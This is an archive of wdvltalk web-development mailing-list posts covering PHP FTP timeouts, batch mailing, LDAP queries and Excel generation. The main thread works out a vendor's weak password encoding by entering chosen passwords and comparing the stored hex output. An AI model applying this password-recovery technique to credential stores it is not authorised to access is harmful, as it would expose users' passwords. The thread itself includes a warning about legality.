change pw's, and it's one more place they have to go.


steve


On Sep 14, 2007, at 11:39 AM, Sheila Fenelon wrote:


steve miller wrote:
The person passing the task to me is an IT person who is in charge  
of all security issues at the company, and he is usually very  
strict about confidentiality and legality. He also has all of the  
plain text versions of the passwords as well as the encrypted  
versions.


If you already have the plain text passwords why do you need to  
break the encryption? Just use them to populate a parallel login  
table for the new application.


--
Sheila
http://www.shefen.com/




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] encryption help

2007-09-14 Thread steve miller

Jon,

The all 26 a's turned up as:

0xFBFFF9F4FB1521FCFBFFF9F4FB1521FCFBFF



steve


On Sep 14, 2007, at 10:03 AM, Jon Haworth wrote:


Hi Steve,

Might I just say this could be the best Friday afternoon question  
ever :-)



Looks like some kind of byte codes; when we enter new passwords,
here are some examples of how they are saved:


Single letters first:


a == 0xFB
b == 0xFC
q == 0x0C


Decimal 251, 252 and 12 respectively - could be the ASCII code of  
the character
being translated to hex and then having an offset applied. Hex tops  
out at 255
and if you reset to 1 and keep going through the alphabet you match  
up with q

at 12 as follows:

A = 251
B = 252
C = 253
D = 254
E = 255
F = 1
G = 2
...
P = 11
Q = 12

If you could test these passwords that would be handy:

e should be 0xFF
f should be 0x01
p should be 0x0B

If non-alphanumeric characters are allowed in passwords for this  
system then

these might work as well:

[ should be 0xF5
% should be 0xBF

If those check out then the offset would appear to be 0x9A;  
subtracting that
from the hex value of the first character of the password will  
produce the
original character's ASCII code. If you get a negative result you  
need to loop
back round from the top, e.g. if your result is -0x05 then your  
true answer is
0xFF - 0x05 = 0xFA (n.b. I might have made an off by one error  
there, I'd need

to test that).

Now the longer example:


aaa = 0xFBFFF9


If there were nothing else involved this should be 0xFBFBFB, so it  
looks like

there's a second step to the encryption process.

It could be an algorithm based on the character's position (e.g.  
add 0x02 to
the second character, 0x03 to the third, 0x04 to the fourth, etc) -  
one way of
interpreting your example is that it's starting with an offset of  
0x04 for the
second character, then reducing that offset by an additional 0x06  
for each

subsequent character. You can test this theory with the following:

aa should be 0xFBFF
 should be 0xFBFFF9F3
a should be 0xFBFFF9F3ED
ab should be 0xFB01
abb should be 0xFB01FA
abbb should be 0xFB01FAF4
a should be 0xFB01FAF4EE

Alternatively the offsets could be are hard-coded for each  
character's position
(given your example, they'd be +0x06 for the second and -0x02 for  
the third),
in which case we're not going to be able to work out a pattern for  
deducing
them but will have to brute force them from the output. If you  
could provide a
few more password examples that would be great - a couple I can see  
being very

useful would be

abcdefghijklmnopqrstuvwxyz
aa (26 letter a's)

Of course there could be something a little more fiendish going on.  
Again, more

examples would help with this.


Can anyone start me in the right direction to try to
figure out how it's being done?


HTH!

Cheers
Jon





 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] encryption help

2007-09-14 Thread steve miller

Jon,

Here's what we found:

test sequence should be   is
aa   0xFBFF  0xFBFF
0xFBFFF9F30xFBFFF9F4
a   0xFBFFF9F3ED0xFBFFF9F4FB
ab   0xFB01  0xFB01
abb 0xFB01FA   0xFB01FA
abbb0xFB01FAF40xFB01FAF5
a  0xFB01FAF4EE 0xFB01FAF5FC


A through z results in 0xFB01FBF7FF1A2704040904FF08222F0C0C11


All letters are converted to lowercase first and no special characters
are accepted .

steve



On Sep 14, 2007, at 10:44 AM, Jon Haworth wrote:


Having done some testing...


one way of interpreting your example is that it's starting
with an offset of 0x04 for the second character, then
reducing that offset by an additional 0x06 for each
subsequent character.


This breaks very quickly, so I doubt it's right - however, if the  
offset is
indeed generated by an algorithm it may possible to deduce it from  
some more

examples.

Tim's suggestion of checking whether passwords are encrypted  
identically for
different usernames is a very good one and if that is the case with  
this system

then it's going to be a bit of a pain to get this sorted out.

Cheers
Jon


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] 
dl.sparklist.com or
use the web interface http://e-newsletters.internet.com/ 
discussionlists.html/

   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web  
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag  
argument: ''
To unsubscribe send a blank email to  
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] encryption help

2007-09-14 Thread steve miller

Thanks Jon.

I forwarded your ideas to the client and he is going to run some more  
tests and send me back the results.

He's pretty excited!

steve


On Sep 14, 2007, at 10:44 AM, Jon Haworth wrote:


Having done some testing...


one way of interpreting your example is that it's starting
with an offset of 0x04 for the second character, then
reducing that offset by an additional 0x06 for each
subsequent character.


This breaks very quickly, so I doubt it's right - however, if the  
offset is
indeed generated by an algorithm it may possible to deduce it from  
some more

examples.

Tim's suggestion of checking whether passwords are encrypted  
identically for
different usernames is a very good one and if that is the case with  
this system

then it's going to be a bit of a pain to get this sorted out.

Cheers
Jon


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] 
dl.sparklist.com or
use the web interface http://e-newsletters.internet.com/ 
discussionlists.html/

   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web  
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag  
argument: ''
To unsubscribe send a blank email to  
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] encryption help

2007-09-14 Thread steve miller

Hi Tim.

Thanks for the advice!
I'm not sure whether you meant that the breaking of the code might be  
illegal, or the accessing of the passwords.
The person passing the task to me is an IT person who is in charge of  
all security issues at the company, and he is usually very strict  
about confidentiality and legality. He also has all of the plain text  
versions of the passwords as well as the encrypted versions.


Since he already has the passwords, I figured that looking into how  
they were encrypted didn't violate any privacy issues.
We asked the application owner if they would share their algorithm,  
and they declined. So...we thought if we could reverse-engineer it,  
and could simply use the existing data for our new application.


However, I'll pass along your comments to make sure the IT person  
hasn't overlooked somethoing.


steve



Steve,

Before you attempt this, you should be aware that attempting to  
break the
encrypted information stored in this database may be illegal.   
Especially
since it's password information.  You may want to talk with your  
corporate
legal department.  You may also, if possible, want to talk to the  
software

company that wrote the first application and see if you can leverage
published APIs to use their algorithms for using the information.


Good Luck

Tim
--
Timothy J. Bruce

Registered Linux User #325725






 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] encryption help

2007-09-14 Thread steve miller
Nope; unfortunately it's a compiled application that the client has  
no access to.

steve


On Sep 14, 2007, at 9:13 AM, Sheila Fenelon wrote:


steve miller wrote:
I have a client who wants me to use the usernames/passwords in an  
existing database as the authentication for a new web application  
(so that he doesn't have to make users enter the info into 2  
places). The problem is that the passwords in the existing  
database are encrypted, and since I don't know how they were  
encrypted,  I can't figure out how to write a compare method.
Looks like some kind of byte codes; when we enter new passwords,  
here are some examples of how they are saved:

a == 0xFB
b == 0xFC
aaa = 0xFBFFF9
q == 0x0C
Can anyone start me in the right direction to try to figure out  
how it's being done?



I take it you don't have access to the source code of the  
application that creates the login accounts?


--
Sheila
http://www.shefen.com/




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] encryption help

2007-09-14 Thread steve miller
I have a client who wants me to use the usernames/passwords in an  
existing database as the authentication for a new web application (so  
that he doesn't have to make users enter the info into 2 places). The  
problem is that the passwords in the existing database are encrypted,  
and since I don't know how they were encrypted,  I can't figure out  
how to write a compare method.


Looks like some kind of byte codes; when we enter new passwords, here  
are some examples of how they are saved:

a == 0xFB
b == 0xFC
aaa = 0xFBFFF9
q == 0x0C

Can anyone start me in the right direction to try to figure out how  
it's being done?


Thank you for any ideas,
steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] semi mass emailing

2007-05-18 Thread steve miller

Hi all.

We have several small mail lists (about 200 addresses) that we gather  
from our websites to send out updates, news, etc.
I store the addresses in a database and use a simple php script to  
cycle through them and send them out. I was having some problems with  
overloading the mailserver, so my host recommended a 1 second "sleep"  
between sends, which seems to work well. Unfortunately, our host also  
set an execution time limit of 60 seconds on php scripts, so the  
scripts time out and don't send to the whole list. I worked up a few  
ways around this by using crons to send to batches of 50 at a time,  
but this is a pain. I also tried some of the php mailers, but the  
only option they offer to send to a list ends up revealing the whole  
sender list in each email. My host suggested a cgi script might be a  
better way to go.


Right now, I create a variable which holds an html string, and send  
that along with the necessary headers for html email to the list.

Can anyone point me to some cgi code that I could use to send it?

Thanks!
steve

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] ftp help

2007-03-07 Thread steve miller

Thanks David.

I have already written something like you have below, which works well.
However, I think my host has their servers set up so I can't override  
php settings, because I can't change the timeout.


But I plan to try running it via cron to see what happens.

steve



On Mar 7, 2007, at 4:44 PM, David Precious wrote:


On Wed, 7 Mar 2007, steve miller wrote:

I want to ftp the contents of a large directory from one server to
another (probably 300 files @ 20MB each).
I have the login and paths for both the sending server and the
receiving, but I don't have telnet access into them.

I have written php scripts to ftp them, but the scripts timeout after
about 10 files.
I've tried simply using an ftp client with 2 windows open, but that
is way slow.


Firstly, cron will be a good way to run the PHP scripts - you  
shouldn't be
subject to the default 30 second timeout then, and it's automated,  
which

is much nicer.

If you want to just deal with the timeout, then use set_timeout(0)  
near

the top of your script to disable it.

If PHP has been compiled with the FTP extension, then you can do  
something

simple like:



That should give you enough of an idea to get started with.

See http://uk2.php.net/ftp for more info.

Cheers


Dave P
http://blog.preshweb.co.uk/


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] 
dl.sparklist.com or
use the web interface http://e-newsletters.internet.com/ 
discussionlists.html/

   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web  
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to  
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] ftp help

2007-03-07 Thread steve miller

Thanks for the insight.

My other idea was to tar the whole thing, ftp it, and try to untar at  
the other end. Problem is that I don't have that kind of access there.

Guess I'll have to play a bit to see how far I can get!

steve


On Mar 7, 2007, at 12:32 PM, Sheila Fenelon wrote:

The commandline ftp doesn't take parameters in that form. Here's  
the man page  http://nersp.cns.ufl.edu/~dicke3/nerspcs/ftp.html


Shell scripts I've seen to automate ftp looks like this

ftp -i -v -n hostname <Using exec in PHP would required some tricks to keep it from  
waiting for the command to finish. If it sits and waits then you're  
back to the timeout issue. On the other hand if you put it in a  
loop and let it spawn an ftp session for every file at once you  
quickly consume all the resources on the machine, and your host  
gets mad.



Sheila
http://www.shefen.com

steve miller wrote:

Kind of makes sense.
I have run scripts from crons before, so that part I know how to do.
The timeout issue was the problem, and it might be the server  
config;  I'm not sure.
What I was thinking was that I could run an exec within php that   
executes the ftp statement like on a command line, but I don't  
know  the correct syntax.

Something like:
exec (" ftp ftp://user:[EMAIL PROTECTED]/path path/to/files/*.* ")
Would this work?
On Mar 7, 2007, at 11:30 AM, Sheila Fenelon wrote:
You could start by running the PHP script via cron. If the  
timeout  you got was from the web server's configuration then it  
might not  timeout when run from cron.


To run a PHP script from cron you first give the path to php  
then  the path to the script, so depending on your server setup,  
it would  look *something* like this


/usr/local/bin/php /full_path_to_ftp_script/the_script.php

If it still times out you could try wrapping the call to the php   
script in a shell script. The shell script would need to  
generate  or read a list of the files to be ftp'd and pass them  
to the php  script. The php script would need to read the input,  
handle just  one file and then exit.


Hope the makes sense,
Sheila






 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] 
dl.sparklist.com or
use the web interface http://e-newsletters.internet.com/ 
discussionlists.html/

  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web  
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to  
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] ftp help

2007-03-07 Thread steve miller

Kind of makes sense.
I have run scripts from crons before, so that part I know how to do.
The timeout issue was the problem, and it might be the server config;  
I'm not sure.


What I was thinking was that I could run an exec within php that  
executes the ftp statement like on a command line, but I don't know  
the correct syntax.


Something like:

exec (" ftp ftp://user:[EMAIL PROTECTED]/path path/to/files/*.* ")

Would this work?



On Mar 7, 2007, at 11:30 AM, Sheila Fenelon wrote:

You could start by running the PHP script via cron. If the timeout  
you got was from the web server's configuration then it might not  
timeout when run from cron.


To run a PHP script from cron you first give the path to php then  
the path to the script, so depending on your server setup, it would  
look *something* like this


/usr/local/bin/php /full_path_to_ftp_script/the_script.php

If it still times out you could try wrapping the call to the php  
script in a shell script. The shell script would need to generate  
or read a list of the files to be ftp'd and pass them to the php  
script. The php script would need to read the input, handle just  
one file and then exit.


Hope the makes sense,
Sheila






 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] ftp help

2007-03-07 Thread steve miller

yes, I can cron!


On Mar 7, 2007, at 10:03 AM, Sheila Fenelon wrote:


steve miller wrote:

Hi all.
Probably a simple question for *nix people, but not for a newbie :)
I want to ftp the contents of a large directory from one server to
another (probably 300 files @ 20MB each).
I have the login and paths for both the sending server and the
receiving, but I don't have telnet access into them.
I have written php scripts to ftp them, but the scripts timeout after
about 10 files.
I've tried simply using an ftp client with 2 windows open, but that
is way slow.
Is there a way to issue an exec ftp command to do this that won't
timeout the php script?
Maybe run some shell program or something?
Any help appreciated!
steve


Without shell access your options are limited. Can you run cron  
scripts on machine with the files?


--
Sheila
http://www.shefen.com/


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] 
dl.sparklist.com or
use the web interface http://e-newsletters.internet.com/ 
discussionlists.html/

  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web  
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to  
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] ftp help

2007-03-07 Thread steve miller

Hi all.

Probably a simple question for *nix people, but not for a newbie :)

I want to ftp the contents of a large directory from one server to
another (probably 300 files @ 20MB each).
I have the login and paths for both the sending server and the
receiving, but I don't have telnet access into them.

I have written php scripts to ftp them, but the scripts timeout after
about 10 files.
I've tried simply using an ftp client with 2 windows open, but that
is way slow.

Is there a way to issue an exec ftp command to do this that won't
timeout the php script?
Maybe run some shell program or something?

Any help appreciated!

steve



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] test

2006-11-13 Thread steve miller

just testing; none of my posts are getting through

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] ldap

2006-11-13 Thread steve miller

(I am re-sending this because my earlier send did not show up...)

Hi all.

I have a very general question because I am not exactly sure what I  
am asking!


I have a client who has a MS desktop tool that he uses to query his  
MS Active Directory for contact info, devices, printers, etc. We are  
trying to develop a web-based tool (php) to do the same thing, but we  
can only seem to access certain info in certain levels of the  
directory tree. For example, when we use his tool to do a search with  
this filter:


(&(&(&(&(mailnickname=*)(|(&(objectCategory=person)(objectClass=user) 
(!(homeMDB=*))(!msExchHomeServerName=*)))(&(objectCategory=person) 
(objectClass=user)(|(homeMDB=*)(msExchHomeServerName=*)))(& 
(objectCategory=person)(objectClass=contact))(objectCategory=group) 
(objectCategory=publicFolder) 
(objectCategory=msExchDynamicDistributionList 
(objectCategory=contact)(displayName=colleen*)))


we get results. But if I try using this same filter in a web-based  
search query, we get errors like "bad filter" and no results.


So, his question to me was "Is it possible to do a direct ldap query  
to a public folder through a browser?" He thinks it may not be due to  
some MS security issue.


Does this question make any sense?
Does anyone know the answer, or could help me understand the issue  
enough to solve our problem?


Thanks for any guidance,
steve




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] php ldap query

2006-11-11 Thread steve miller

Hi all.
I have a very general question because I am not exactly sure what I  
am asking!


I have a client who has a MS desktop tool that he uses to query his  
MS Active Directory for contact info, devices, printers, etc. We are  
trying to develop a web-based tool (php) to do the same thing, but we  
can only seem to access certain info in certain levels of the  
directory tree. For example, when we use his tool to do a search with  
this filter:


(&(&(&(&(mailnickname=*)(|(&(objectCategory=person)(objectClass=user) 
(!(homeMDB=*))(!msExchHomeServerName=*)))(&(objectCategory=person) 
(objectClass=user)(|(homeMDB=*)(msExchHomeServerName=*)))(& 
(objectCategory=person)(objectClass=contact))(objectCategory=group) 
(objectCategory=publicFolder) 
(objectCategory=msExchDynamicDistributionList 
(objectCategory=contact)(displayName=colleen*)))


we get results. But if I try using this same filter in a web-based  
search query, we get errors like "bad filter" and no results.


So, his question to me was "Is it possible to do a direct ldap query  
to a public folder through a browser?" He thinks it may not be due to  
some MS security issue.


Does this question make any sense?
Does anyone know the answer, or could help me understand the issue  
enough to solve our problem?


Thanks for any guidance,
steve



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] FreeMed.fax

2006-11-07 Thread steve miller

Has anyone used FreeMED.Fax before?

I found the class here: http://www.koders.com/php/ 
fidA2080569EFAEF14668E930236385C8A68D35DBEB.aspx?s=hylafax
but could not find any examples on what to send it. I am trying to  
run it on an OSX webserver called from within a php script.


Any help would be greatly appreciated!

steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] excel writer

2006-08-22 Thread steve miller


On Aug 22, 2006, at 10:04 AM, Peter MacGregor wrote:

I simply opened an Excel spreadsheet, then selected a random cell and 
used 'Insert-Picture' from the menu.


If you mail me off list I'll send an example - can't attach files to 
this!


Peter





Oh; I probably didn't phrase my question correctly!

I am trying to create the xls files from a php script and insert a jpeg 
into the file during creation, not after it has been created.
I am using the pear package "spreadsheet_excel_writer" 
(http://pear.php.net/package/Spreadsheet_Excel_Writer).
This package only seems to support bitmaps, not jpegs, and I was 
looking for any help on how to change that.


We need to be able to have the scripts take pull client data and their 
logo from an online database, and create various spreadsheets using 
them. Thus, I have to be able to insert their logo (as a jpeg) into the 
spreadsheet and then download it to the desktop. I can do everything 
except the "insert jpeg" part...


thanks!

steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] excel writer

2006-08-22 Thread steve miller

Peter,
I am using the standard spreadsheet_excel_writer package, and I don't 
see support for jpgs; how are you doing it?


steve


On Aug 21, 2006, at 5:39 PM, Peter MacGregor wrote:

Must be something to do with your php program - I've just dropped a 
